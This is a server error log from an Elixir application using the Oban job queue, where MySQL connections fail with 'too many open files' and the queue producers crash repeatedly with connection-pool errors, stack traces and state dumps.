State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:37:40.241290Z], limit: 3, uuid: "f819668a-acfa-4af2-a0b4-a2fa73edd92f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:40.241297Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.126268>, refresh_timer: #Reference<0.2525715032.1099431938.24405>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:37:54.502000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:54.614000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:57.288000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:37:59.756000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:02.255000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:06.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:37:54.239810Z], limit: 20, uuid: "30cd053d-162b-4a10-8715-66955a603c1e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:54.239815Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.126732>, refresh_timer: #Reference<0.2525715032.1099431938.24487>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:06.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:37:54.239434Z], limit: 5, uuid: "0a2e043b-aba2-48cb-bad9-1d23db391062", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:54.239439Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.24493>, refresh_timer: #Reference<0.2525715032.1068498948.20932>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:06.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:37:54.239373Z], limit: 50, uuid: "ae7f4e99-6ddb-4ab8-bedd-98cf95e82aa8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:54.239379Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.126735>, refresh_timer: #Reference<0.2525715032.1068498948.20929>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 869ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:37:54.239692Z], limit: 10, uuid: "9d656d72-583e-480d-a513-cfd844433b18", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:54.239697Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.126733>, refresh_timer: #Reference<0.2525715032.1099431938.24483>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:06.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:37:54.239156Z], limit: 5, uuid: "200383ba-b84e-464a-9217-29fb5391762a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:54.239163Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.126734>, refresh_timer: #Reference<0.2525715032.1099431938.24464>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:06.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:37:54.239918Z], limit: 3, uuid: "8ed34a3f-0a4e-4778-ac98-ddad95a0abdf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:37:54.239923Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.126731>, refresh_timer: #Reference<0.2525715032.1121189889.126700>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:08.045000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:09.144000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:10.978000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:12.451000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:12.979000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:14.088000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:17.015000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:38:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:38:06.242767Z], limit: 3, uuid: "c0c603fc-d078-4c7a-8f4f-59d66b2ff840", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:06.242772Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.127112>, refresh_timer: #Reference<0.2525715032.1121189889.127103>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:38:06.241200Z], limit: 50, uuid: "24c8c69f-5603-4434-8318-907259ef5658", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:06.241207Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.127113>, refresh_timer: #Reference<0.2525715032.1068498948.21061>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:38:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1014ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

